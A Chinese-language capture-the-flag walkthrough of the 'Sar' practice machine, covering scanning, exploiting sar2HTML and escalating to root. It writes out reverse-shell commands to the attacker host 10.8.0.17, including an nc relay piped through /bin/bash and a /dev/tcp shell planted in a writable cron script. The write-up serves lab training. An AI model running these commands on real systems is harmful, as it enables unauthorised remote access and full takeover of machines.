靶机练习5: Sar

靶机地址

进行全端口扫描，枚举目标的端口和服务

nmap -n -v -sS --max-retries=0 -p- 172.16.33.13

nmap -sV -p80 -A 172.16.33.13

只有80端口放通，扫描端口服务版本

访问web服务，发现是apache默认页面，无可用信息

使用dirsearch对目录进行扫描，发现有敏感文件phpinfo.php和robots.txt

访问robots.txt，发现有sar2HTML, 访问一下

使用searchsploit查询有无sar2HTML的漏洞利用代码，结果如下

看一下具体内容，其实py文件就是txt文件的代码实现，使用py脚本

拿到普通权限，需要在远程主机弹一个shell回攻击机

尝试执行命令 nc 10.8.0.17 8888 -e /bin/bash，然后在攻击机上执行 nc -nvlp 8888

没有弹成功，怀疑是命令执行过滤了-e参数

有两种思路可以绕过，都可以成功执行

第一为NC串联

> sar-command

nc 10.8.0.17 6666 | /bin/bash | nc 10.8.0.17 8888

> kali

> 开两个窗口

nc -nvlp 6666 # 用于输入命令

nc -nvlp 8888 # 用于输出结果

效果如下

第二种为对反弹shell进行编码

先用linpeas.sh脚本对提权信息进行收集

发现有一个计划任务可尝试利用

查看改脚本文件，发现执行的是另一个脚本文件write.sh，查看权限发现其可写可执行，尝试写shell

echo "bash -c 'exec bash -i &>/dev/tcp/10.8.0.17/6666 >&1'" > write.sh

攻击机上监听 6666 端口，过一段时间即可获得 root 权限